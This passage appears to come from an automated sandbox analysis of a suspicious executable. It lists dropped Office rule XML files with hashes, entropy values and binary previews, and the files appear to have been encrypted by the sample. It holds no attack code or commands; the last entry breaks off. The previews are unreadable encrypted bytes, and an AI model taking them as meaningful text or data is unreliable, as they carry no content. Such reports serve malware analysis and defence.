Preview:	.<?.....m.M.\|... Ib..s.f....8m$.......l5....b...e......j`C.ij...=....Z#';Cj..l.....@..Cn....r..\|.d.\.R.$..6w..\|i....5%.....!.m".._...#w..a..+..Ld.5.\|.U.@3Y...W I.4"..Y...c...a..y.Q.E.(..iU7.......6..k$.....{[.Ki......^kP(r..I.1..-..{.j..w\|0.!Fk...B.n.Y..w..n.u.~.p..Ki.W......&........P.A..8wT....;k...H.c..[....._O..@e.[.1v.z..e>.A.5\|......D3}....(.S..u'r\|..\.Gm..,.h.d..O?+ .{9z.r.Q). ......E.6...q...+]......{.z.../P...6.1...Q......au/..q.g..{..pP...#..[>.....A\|.L%.X.....8MJ......r.c...3....=..+....(..z"....~..?.J..Z......\|.H%......s/+k.k(..8.Pr.(*.^.../...v..".\|.......7ZE...!k....h.U.kZ~.z..1..Q....01.W...eDu...p..7.....z.pi...=0.MZ.[.+. .7!.`..d.^.....\......(...)_p...E.....b.....1 Cdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.685001481497251
Encrypted:	false
SSDEEP:	12:2s2jR81ZIyvm4/8S5V+Xe91eXcvK4vwf6Ln6PetLQZUi0VuCzDkMI3ExpzqzGMDv:J2ja1Dx8S5991eXcXYCztxQZM4nMHxp8
MD5:	BAE1FC3C943032BCBEC5BAA3BE8B5DD7
SHA1:	EC47D2E326B9D35DDB1A811388853186BCDDBAD7
SHA-256:	1C76A7B7C1D7B971312B0C05F232047E6334F1192E8620B66FF5A748F78DC5EB
SHA-512:	072E1A6EF872C7D16E4C7548B4AD6B76A2D6F80E2CDA2D56383B63BB7A6866BC8309FFECA3C02DF8F5E43A950A18B8BB4615B8F4EAB3DB888924136B98C6F284
Malicious:	false
Preview:	.<?.e..I+..O.;.f......v..;...X\..?..h.l.Q....I.gXl...."..K.dt#....7h...2.K7.j'...2...Y..Z#.Y../..m.b.$....8....U..A...8.....;...e\|..:Y~.v..,.~QA...u......Q!.@r.}R....[K....?&v..[T.k. .q..:<..0o..E.F.....H.3]...^......O....V..tg....!.6....D..U...d.$.j#t(/^..w.\.$..."...;M~}x+E.4.......g..6.m.....J...]b....>....dN.[.Z.yj..ko.Q.....)......'+\|...@.Qw.e.i.g......q.~^...lc..,..g..X...X*..O.o.E.`PK....u%3....IA..g....Rb.B.w...............h...HGt[d._Y...]i..$..}2v.#.8p.H..u\Y7].\....S=}..d..]......]..q.6..B.e.3....m..e.^...h(...:.AdC..bEy....3.....$....u<N.:o^W..@.....?;6q+.C.#.....7..Dn..h.}.A..p(w.=.<..!/..s.....gO....~.c.P7_w(..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.727076992575483
Encrypted:	false
SSDEEP:	24:6weGK+cQhU+Tl7/NXRIMS151jXPg5BIvWKXq8uWbD:3eToTlD413rn/XFuED
MD5:	E1F84BBB12743F02C680C5CBD78B2AE3
SHA1:	74199589723F7F81EDD5F37AC577F700D8F2BDFD
SHA-256:	7D60AA227BD1799F837F0B619F61469F9E01E41AD257B4AF85E1A3B9C1DCF08B
SHA-512:	DF094073EB6E8084C97F60A27CD22E8160061B338C16B20D82648E1716170731A44C7520663DB1AE0EABFF35A8C3A74AF75E5CDD0F6CDEDA733158360BC99889
Malicious:	false
Preview:	.<?.h.p.bs.-SE.e....gv.X...?.8`)..jL....x.F~(:...<....u7M......~P.^.....1..\z..D.C.'F..en.#oZ.~5*..X&....\.^.{.H.J...btZ.+..]v.U..F...i..x}.4...J...[.......h...i...?od....2j..s....C..i.\|\|..{~.......y..:3t\|G.`.>&=....g.k.4.....(&5.z..e...e..Q.Yr.\|..M.RV....E.^.,v.q..VK.c.yi.6.;p...VQ..#.U.L?s.....V...&J.....M.]..zq........u.....v..8hG..H....3MZM.d.E...<u.Z.&G.{..M=VR..:..........y.G.HO...[b..J.+..1..x@/nU.U..<]J..\|D^..v.i..7..2..t.$m...eC..=}....f.....}..F>..a...6...K....3.._.}l.z...W...[..9.....t..t. fS.\!..]#...:1f....I.y.KM....f<[.]..q.....PW.O/.qF.N........v...6.D....w.#..lXZ...3Q.N.$.".x3$...P<..;?...{...[kg..m...O.....y.4i....9...uQ...G......WGa....M...?.e..D...9....[.a.2.m..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.693368578503588
Encrypted:	false
SSDEEP:	12:dZRizDWi47EL4k0C0mwpRWglv5/WEHWRvj756SFp3yof9URv7o21XqOTuWcii9a:7RuWwpXJVgRRWhjVCoVURv7pXq8uWbD
MD5:	26E5997E0311D1B2BFFEBEC0323FDF35
SHA1:	DDE765C08B160CFEFC78F7FBE0F24B30D4326F6A
SHA-256:	C17ABB61141C7BAFE57E7C082EEEDDA3E27F3F6ED8BBD038F1014C19864AF510
SHA-512:	449F2E87732A761ABC3B92DC8DCF44E60FB7E134DDC211D7AC961C17178BCD916A6F86EEF0231F4C3C21039223D2D3D66DA66FA7995A5D1BAA4760ECA75C5C2D
Malicious:	false
Preview:	.<?=...4..!.<...*91.j..z.K.KLV...FD..XR@G&IJ+.!&_.A..j./..\|..v.\|....2....{.".Z...Q6& ./bi,+.).?.KN.....blVg1H.......8d>....I....K.."...aD# ..c+yCdo.....> .#.._W.0...18..Ur...7+.DQ.i7E.^..X$.MI.......>..}....W.8.s,OS...%.w...bU.s.id...>....8..H..;.....K.ZR....j.Fq<....v...O...l....g.h..@\|o.IT.M......m...&.....k...."]..)b...b.S..n....>.=.;.n..?.8k.G.....D...9.]M..+<.....#(].#Xo.......Z.;.Kb..N..J9..2..7z....;.\Gl...g..c.../(.=KK.D?...c.1..K`A..}.....'.H..<..S...}...J..P.Wh.r....,...L."O..'+. ~.k.h.\|........z2.p......c...oQ1%.Q..-u'M.@i.C.vxa....k...y..j.rT..M,..n..K.........D......!.-\..X.=t....f.i s...=.(....N,'SR....J.5.~_..I..j5./L.BRdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.687054172089002
Encrypted:	false
SSDEEP:	24:garWhuDMROm6AgjgaxpFxyI7+fknUVnqKXq8uWbD:garjQROi2NIkUVnDXFuED
MD5:	BEAD6D2CE10C56344FDEFE76F9FFD545
SHA1:	1C6161FE244B76B5ECEB34578DFE80CF6F64DFFF
SHA-256:	23E3664C383E9865AFA2F1D036C88EBEE2FDC47A6AD36B4CAF19E76E42D625A9
SHA-512:	AC0CC3EAC84769F689DA87C052180E69799EC04268FFD4FC7099689756CD95C6FE5B61CE51A224E5C92A12C20D21EF728BBC8E58DBC8E03BB6B3E0F0619AF089
Malicious:	false
Preview:	.<?....PdJ.X<.J......Q\|....Wy...W.!-...h.q{.AjM.Bu..J?...3R..G.\.U8..$..../q..g.,~..N.<@...+a...].:.C.(..bm{h 2....=V....$.h.M....H9&p..!...s.6Y...k.6./z.!.....W.B...&.....@d..^1..g5.mI.J3L.3..J$..8......>..5\~8.....e......."M..(.@2H?E.Kv>Y.c.\..wN!...K...."..]`..W.$.6.H......V....V.}_^..wH.....(.M....KZ..h.....Mg...]J....O7w.uVS.X".S.$....L?...oO..ms.!.$.[..9....VA.byCp..k...K^y....\|X)..K...0..`..4Y...$...o'N61o..-2... ..'..9W.0....h+..B.d...Z<...<b.{.h;.\./.X...q5`.zx.,.{...KF<e...s.. .H....@x.E.{....f..H.?..!...~._..D..P...7z..........d..=..3...........IFl.tMD....p........b..Q4..........tV.d.L..y<.?.Gt4'..8..F+.V....Qg.5.>....`....h.vz..o..w.kD......N.N.......5k...G/&`-+.}.D{.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.683746581857969
Encrypted:	false
SSDEEP:	24:M2VDeTiH3a3QjhSBlEjpcQI6zAWuGlEB3nSXq8uWbD:M2VDeWCUhSfJ6MWJlE3nSXFuED
MD5:	ECB4EB9D636DE6409E74C4038418E2AE
SHA1:	4F133E79FCC82285790201401BE191DBBEF7A6E3
SHA-256:	6D8C43407B5E1D31C9499BBCEEC639A4CA207C073C7DE7D5B189F7589FF78774
SHA-512:	14405A65A23FC618729D461CFE5749FDEC2AAB316D2679F823FB2C76A5F197167358498E85871F74A47CC9A03D9C2D17ADE03BC0EE89C6E98D9E8219A88F1E04
Malicious:	false
Preview:	.<?..sM.H..0....{`..{.\9Y....m..?.a...& ..x.....\|u.....?..m..HE!^..._....q..R.g........o........R/..,.g....s..s..O.q.U.4...c/..0&..zD....e..\|.r..A-8.}..X.'.+. .....;.....F...S..u..r..r.f..6..1...V.8b..x..U.,...a9..6..}.S.8J....>x.[.b......$.c.I.C...'B.$...f.w2/....5.p.8..#.t~..X..Xp..B,O..`-...L-..[...?.......'..-.Kt4....>...5.....FB...-Gb......B...~.....8....x.....\|.;..&.,..)[.u.,.{?JVj_.;h..V{...S..%D.N..U..8\|;....:.^@1....~!\|.Ek$.2.... ..Q......B....x.kvh..._..Q.T.-....K.8.RG....\|..RZj.T..?4...Xk.I..#._o$z.KL.G.@5.}acC.W..-P.t...k.v^..a=z..H.0......E...i.......Q.K.w........ ..SF....L..Q*........d.Z\|y....U.\.D:.{.i..$\.8..,.S'....{q....<.zS.%....B.@....r...0`......2doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.756820637469913
Encrypted:	false
SSDEEP:	24:7lkHPi7AvfRPUrVmsZaTqEGgZOk/fCSdFkzV0XeXq8uWbD:76viGfRioBmExZOknCqFkzV0XeXFuED
MD5:	1F6DA99A775E0F156DA0FB8B37796650
SHA1:	FFC71EAE1B37C7E556F9AECE997E1765411D377F
SHA-256:	4D6813164B55B94657037F685090F87C711D984B7275E4AB9354F6131B2B39B8
SHA-512:	68EF47F41B25D708EE958BC8756E7B99B5530C6EB79193C761856960579F98E8E8B4F59CC4A76F38610156CA0959269D0164305C8CD88793032C37C3868848A4
Malicious:	false
Preview:	.<?..W/.up]..)u....a...r.....3.S...P.F.y~..3}..g...`Q7mi.RY...V.........H..o.n.........L....>....U......%br..Y...cX8mz...L@..L]...x.z.....X.$%......e.......(.{e`.Z..=.G...U....p..wO..)'...[.C6.fHC?....g..7..."..<.>.cn.f.e.d.......!I]z).'..u.o!#.B..(.zJ.6+.rB.9.U...d...=.gVlim,.....9.>.4.RJ..N.G.\... ...;:."KW..t#{...i.+......8@@......x...C...R<G....h..-RR......)y..$.&..w.55.\|=..<....VSmE...o}.Z....2...Cs.......R.@.,^.~..V.a..w..\|..3y..y.M.;..p.gm...+5.D.!G...~...T0.V...Al%.8..V..t......K<....f.`..j7.t......r...^..U..+tf..s0.CUe.C{....b....8......x'.t..xO.8..F..t}....1X..`..\|.]/.hJ.o..L...B....... 9#.Z..}.h......,..e...Z.}..[..?...=.B.....<..9.1.b..."..V...rX.......fv.H9>.G,g\.7...#.......&.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	745
Entropy (8bit):	7.664780039508229
Encrypted:	false
SSDEEP:	12:gc9g3R6yG6MLzL9o4n/+nAaa4xcKfkxa276v75MjQLZOSLcNJg+AdQEebmSvxgeX:gc9ghZ1MLzfn2Aqxvv75aQISL9lQVbmc
MD5:	A7196DE5066B10B3D3D166829AB624B5
SHA1:	B7309684E9613F98FE805EF63F8D8311E8BC4AE6
SHA-256:	379A82D4B860A5B35FBB6E8498FD20649C3B2CCE779E1A3EA43310D2AE3B197A
SHA-512:	186A44478185E2205CFA512989676BAAC07E69032CF2B94D9C7D3D0C732C0A40EA53AF16CA559441D7DF4019965B9CD1C4144CDD6F6958E7D1DA10FA8BF09556
Malicious:	false
Preview:	.<?..}.X.HI...Q.s."U..,.H:.b.L...$p.@...E.pv..x.......(.....<OH.E..j.e.\|.g...3.t]$?.9....R;..............rfC\;DK..,T../4y..aX0...=!-H..M......s.wP...j....pM..V...P4..z..4...Bo .?..,L..:....rO.%.^.....0..4=...M.o.HM.#.....<_....Y..la.J.`.G.p..9$W..\..eo....._9..o.Eu.S...qi.V....y..B.....-.^........ ..&F....A..?y.........0.i:k......!a..E.}y..}....a.j..u..g...0B.a_G........]...>.V4....o.*...\..%T..M.Q. or...=n.?G....c.X.q.......:.>.G..w...Z....uo......e.M....j......\|p..~mV.m/..H...Y.[\|.Z..=..'CG....B.Fa...^7..]2..8.G..W..X..p..kJN.y...S.Q.q.E.l\[.......!....@Atj....uF..G..s}B....(I.2..x....#...r..4].C...YB..ba2].(...(..Vdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.716958789983915
Encrypted:	false
SSDEEP:	12:XKls7usG04xBKGLlx89jtKA9KrSYc7CoHihk5BsFZLNtwfw4ZKYBXqOTuWcii9a:XK6WksujtRKr+Oo4kOdNtwfXq8uWbD
MD5:	9ECA90602658EA2414C6A6D8BCAD96EA
SHA1:	398DDC4C73913BA0FC1EAA49EEC18340B14E46F3
SHA-256:	DE7FAC22E655E9200857744A7104F9AB3C4B5CBF09E681607C09BF68A831DF57
SHA-512:	DF7E2D0F7E208DAD5B7E3C08799DDDA5E18E7E6052947AC35CD9F33B8C0A4291F2C2A2805CB601EDD86DC2893B650A2AA95AD48BB1B9CB24FF0ED2789CF7DDCB
Malicious:	false
Preview:	.<?.%2.....IL. ..Iy.../. Z......dV.b...{.......<m.Y..5......ckE...wc/..1A.M...\5..aL.g......D..'.C....4..U.....U.../.MX.>.4Y?....@L...6$.>......N.,...B@vL....!E.....^..2\H.P5.6...R...W....$ ..t.pM.].V&6....L@.`I.n.y.a...,..wjz..Q........UYD...(=...zl..2..E..6...+...<....l......e.5..W..k~.n(I?..+9..0./1AG.u.t...<.....{]..,%!.r../.;...J..].......D.d}..J..v.....(d..$x...'.>>.B...3.....Q...{.....).uc.......b.!..Z....k....../@.fI.......%.C..).Nu.P..6.P.........V.<..@C..X..0/QB.H.tG...{Un ....{........(....{..v..h..{Y....../.H.r.0.....y.E.L.!..ag<=..h.I.s&.....dP...gyQ.X...E.&..E...Oe`m$;.....l".OV-<.c....D..D........5.{.4...4......_..@..m..0<.bf..E\|#s.4..1[7......A.......JTdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.725933063363501
Encrypted:	false
SSDEEP:	12:1GRgL2Yr8QhVDCq57YsWD0hDzh7gjXV/rJc+bCBMc2s/794OINpMbFQ46XqOTuWX:AjojCs7zWoFzmhVcyCJXz9wbiF16Xq8X
MD5:	FA3FB9BA72E4EB10D84B682D3C4D03C8
SHA1:	BBCD41D37C8A0E291812D9D21B3788796B35F72C
SHA-256:	4A6C3C5DC36BD70E0C9CB4FD255E5999FAD6C6B889D14AA26A9D4A95F419A893
SHA-512:	9FC0724D039B88EF233B3EF6DEB56766D1CA0AA46E3677327FD492C8F3B42E7C2377DB8F122B865B6805C2A6B8CB34313096D4B1554A8134B321AE64DF711416
Malicious:	false
Preview:	.<?.=#.......m..`.v.m.....w.....g..0].f..Zz/.....UB......7...(.G.O...\|...h.E.7..f.V.m....s.......u.q.<...S..u...i.tY...=.W.M..\|.X.?......b....i.}B.........`..#w.........aU^..........k./[..X......L\|IZ%cQe..P.B r8z...../..#......(.q..g.Q..Kh.o.,.}.=......Y.e..U ..H!...aGw9=.Y...(..Q...9?...p.v.q......zt.x....o...%%&....9...MBW].g.6.#...l..=.P6....z<.2^.-0t\|_.I..<.f........9..w...}...$.^}....@i.>....I....eb,.z.R........x...~$...*..eRM..............od......(.D.x...0.s....%.TB.P ...q......M9.^.B........M...~%.....k.Q.. .....f....N.kU..!.p.J..G.<.........%y.9......k,1...`V.U...........}.....F-`.(G?.I.3.n...>.-...^"..O.Z.V....,...O(.S.We.q.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.758255718178191
Encrypted:	false
SSDEEP:	24:9CYxRiYkSlEv8eYcp4mhXCbFYURs8TYPbeXq8uWbD:9CYxtl+Np4mRAYURsjqXFuED
MD5:	B58302AFD2DD14F251AFE2F5CD66C2EB
SHA1:	59BC413296E564FE1258A35B2F874438008BFE7C
SHA-256:	21E62AF8297268B2C60AA720F35547F7CEA8842E293DB913A8AE681CB400F2C9
SHA-512:	9F32BB750F1966177CDB93D4CC2EAE0F4755656CE1C9DC4DBC0F4706C4BEA8C3F5856E3CE7BD3F8DA2CBA166B2B2142BBD657456B412693B262CFD037F2D6D77
Malicious:	false
Preview:	.<?U[..8..1...n.a]....q...N\t[=..,...c.G..N#...b...(?..(.^+.X..-E..(z&...zT.1..hW....)L....l....[.a.lK..X'... .ES.t....6.r...?/a.C&.;My..Z....<.0..R.s.a.p....cZ..}..5..9L..+f...97.@..x....x.le..........H...Y.InO.....}.c......1<..2......5......s$..CC<...b. ...y..m...pM,.\|..&..-_{2'..\.6........p)v...A7..[ ....&..W5...tc.....U..w.(..[.ne..})G ....su..-U.bE......^.0]..".m.[......_C9K..w ....G..+.o.k.....h..l.7.....9..W.:A.,..\K....S=........-GmO.....j.N.Mk 7.H...v......'..a...,aT....C.&3....0..5..b......3J..\|=....._7....IA..[h)[.{.'c.dn}......".PH..(..:.....r.......\.e./wj..+%..?P..!.........\.m....@K..]kU.....w.g:...H_`>.{..<..<........\a..K.\|g..8.. ..$S..0.(.g\|..i..V.......=...(L..I#q.i....7b..00..<@.....oB.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.682786638432527
Encrypted:	false
SSDEEP:	12:WjDq0BSeugFUmHKFPtbR6AQ950Jor3yCTj4pE8IwpCGKXqOTuWcii9a:qPZug5qFP5R6z6or3HE6GKXq8uWbD
MD5:	A5F47838C986BB854A3508C59702FF89
SHA1:	5DFD3BFB5775D2777A16BA2FEF44CC2DE73308EC
SHA-256:	16454E2C416608AB1AE73102664BA43499E636B3BF437D19508EC9B495369C1F
SHA-512:	5CDEBBE52DC24B3C02F80F0605BCAB12A92F9E9A179297CC719B3F9CBEC3D8EE8FB35FE8FFC080FF936DA5F47393B91E47AF4A0C3E8E4F04AD28D2F7DAF3B1EC
Malicious:	false
Preview:	.<?&...u....S..^D..^$.......6...Z.7.3...L...,.....H..)0.b.e.uO.^..sKR1Y.+..v..h....fdZH....-...[...'.3`;...Y.kIT..k.H....7.S..MmSi8..)...<0.#M..)c.}}..'.=IV.-s...4.0/.)...d..J.....^.s[..n..E.o........G....C......H[M...E.8.....Q...,g....YQ...UT..8.......C &'.......W.r...s..ocm{.$.(....F..Dy3m.....#E........F..L".cV..}?....i".C....>...V.;..M.U.W.....9J..I.......\.z.......... ="...be.Cc.k..f32..+Z..Vt.{...g..y\{...F..E0..^.U(....Pq..k.......R.....~...k5/,D.x....^....''..>.....Hq...0..>...ve..i..)s..c..F.[p.\|.~d...!.H......K.....b...k..2...Vx.c..l...1.p..WX........-o.%o....@..EF....X...:x.!g&.k.x...u1.${...+8.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.755112763136526
Encrypted:	false
SSDEEP:	24:Z+KJNCZx2fvmkr996rD2GT+QwFXHqbcE+Xq8uWbD:pwx2LDpGBwtq8XFuED
MD5:	AE727340C673278A5189428864E0A627
SHA1:	6F283409BE33301EC28320C80E81EBCC2C7BB394
SHA-256:	E7CB8F4DD431818484417266B1FCF9D4D9842108703C1B2B2E034A26AFDF35AD
SHA-512:	BE5DEC45AAD48A6322A4929308F8C01A835C88FB24A4369D7749E67E88E84B605D5E84F33C047C54588D3EC24CFEC7D28CB71FFFC673185A9B08A45516B7A670
Malicious:	false
Preview:	.<?_.o.]-...pRV....@3.S.6.../."..r......N....$..k.........<Y.......G.s....o......wD.G.... G.&\.`.n..jk..k9..b...\|.Jm..~.!./.-.q.j....O.F#c....!0...K.S.b$...G..w..}..n....>E.{..mDUy...^.@h/...yM..M..uq..5..C...F.\|KBJ..M..`.S...v....x....D.q.i]O..wm..$....Q...s...F.w..~D.K.8.IzU\|q..tx.,.Q..A>.;.B..p.A.........6x.W.....89..=;.~....E!......Yy....x.f.....2.9<..z.......W...A....Gyh.8.....T)m\|L..);X...8.R.=.C.H.B.Eu.o7.F...;GF.-.l..i../....D...~G.cl'..e......6.g.....,..........ke.I)...!..H..uh.....U.t....""....Z....Kt....V..U.......F........:.....ji.7.5T..x.:... .>S.M..+.!`.j.s.....{P+.!=.m.........S......p.1.:@.E...Y....Fe.0..,X.CL..O...{...}`1.....h.......,..B...).R..?A.Vdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.6909784669306385
Encrypted:	false
SSDEEP:	12:y+UT9PqjbgVX8x8HCkHBQBwhDvS/82izAkecfkJ5MmkqcCyoAXqOTuWcii9a:IxSjbg+xadHBQRGfq2mcCKXq8uWbD
MD5:	7BCE290F690EC4F2083607D5B11EDE33
SHA1:	3DCB275486F27D9EE5630CAB4AE8038A8FF87A86
SHA-256:	07DE2BFD36B72B29FFE1E747E93008D954D42E6F5BD7000969E359D5014655F8
SHA-512:	D0AFA252236CC24B245C4D14B5DD24D786C49DCD6DE2D9073F265F13D5BF6BA5CA1FE61B5D147C6C824B2F425A80A6EF8558B610846F9AF4B4DACC3B115B6657
Malicious:	false
Preview:	.<?0-.m.YtC...h....8.#.m.......k..JT..'X...>.^#.cv.{N$.C=..In5.1i.R5.A..V3f....x_..e......<,.....K........q....Y.2.@R.0.p.ES ..U....d...-...fX..........'....j]k..J..c.P../..^\.."....H$.I.@....../.o.(..+4.\..I._..m.;....$..O.=uI7......@....j+<.\|k..e...)..y>MI..... .\|.....(1.(....0Jl.F.......tH.<..f!.....k%.(,h7..<.}..6..]J.J.}.......6...].<..+..-..DkK...Y...B.N.. ..7M....J...].U/.39{.....f(>.I.I{...(..9....6.}..n..*$.....h.....(..@L..r6.]i#..5...+XW.\.............8..i.'.^.....M.l..L...d......Ir.8+.Q.....t..e.K.s..9e<..C../...X.y..D.......X...bZ.\s.....+..(...8.g.'..c...2".(.S....$..;...-5.....j.rr..C.E\|.....:V^..a.......2doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.722493605542843
Encrypted:	false
SSDEEP:	24:ii0Z2zPkcxAkUJdZN8/VVllUiB6HpHLeXq8uWbD:ii0Z2zvxAtdZNwVlfMVaXFuED
MD5:	ED2E49A8AAE92F8C9C8C3F1EBAA2A5FD
SHA1:	A3DBE4276B25B19116726031717F01BB421FED8D
SHA-256:	53D01EDC54535823C1F10ACD70007285CF45D7411055D29AAC701807AFB598B7
SHA-512:	CAACAB2DBA2D4EF6E0422B36A35875899AAF2454BFB881C764F1C8B36747CC3066FD30CE9FC13F7063585381DDBEAAC271787E95D45E0EA3F9AACD2794001776
Malicious:	false
Preview:	.<?./..-.B..Teo....$....w".,.. .=cSi.sB...J...0%....F..^.-...WC........G........X2ot.m..`....U.Tm...:...=x.QY.8Vs.mU-........7...B.v....$.f..Y.#.#;ZwC).9.Dh.1..[...msf..4..^.{GXa.'..A.2P;'..Y........2...._2....%...K..$PHm8..^..N8.1.[l.........q...........1c.....q.f>}V.(.R...efJ..@.kL..6.t....b.0 f..Q.p..R[...o.L...f..#.i./......IK.rc..g.."..TG.[......i.S.D.v.'........ON..R...h....].1...T...qk.V...YFp.x.."..g.9f0....N..O....21..#B..zI........ .R.......U....k..FF....= .}....P....H.I..........,x....,...7&..M.&oscV$..:..E".h.O..HWK......f..RD...Q..q:R<2/2EB..s.zhqD..^.@@.v..yW.f.;.....\|y./..8n.....G.t...T"...K...K....>.MdC...7..&O...5.z...T...E.....3....B....q.E.4H...i){.abu.d..L.sdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.7136027347434855
Encrypted:	false
SSDEEP:	12:z2GNCelSWSd7/u15j1vTjgRegFIuyaqQ9R8anlT2B2xP6qipIOcrj2Riqlq2xXq+:z2GNCNkTjgBKue2SanBx6qG9Rie1xXq+
MD5:	C6B325867031D049AD61CC3C831AC4A6
SHA1:	C0C87C0CC23FEA1AED6B61FF9A86AEA92E56A085
SHA-256:	96AB4C8A68D3BC17BBD1473F61B5E5F56D26C44DC8D83CD5051CC0DC7E91F551
SHA-512:	FBA71C5F8B773A44BEF7CFF338D3B7E3E7CA8D3BE8098A9D41A4E5AA6F03A3C622279236C7FC36B5D8EFE05373F4D94C1890F9D0D8EDF75576717338F974A5D9
Malicious:	false
Preview:	.<?..+....C.....=......>.....o..h...j.....P}.....{..qBo..2.....^eE.O./.;..g.@e..N.a[-1j....<.q8X.j.}..s..z.F..]..H..o.&...+....g.).../Li......5..\|...H.....$..]..e.].....9j`....k.....g.....".Gg....^1Jc.o<.. Bn+.....K.n3....-...A>.5o.-IM.....J..G..{V-..D....Pfy>....~...O.[F.Z..[....gT.]..;..F...`....SR!..../].....(.FY.D..{...N.6.=.vX+d..`..2e..=..\H...ef.5..v^...'........d)a.b...$.v..z......]..k.....9"_..A...U.}....n....p.do..0..7.O.Uz<.r....^.Ew..S.)q Qy..m..=....$...e..........p..P..)lOf.~.\Mp7.9nN\|FA..&,.8..kp....~R.E...?t.Q2&.O.Q....3.U*oo......q..2.5/....TH.Bm.3.....bMa.C.x.L.V.%Q<E5j5...V.C?.5=.y.e.@......:D....K..h...!.E..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
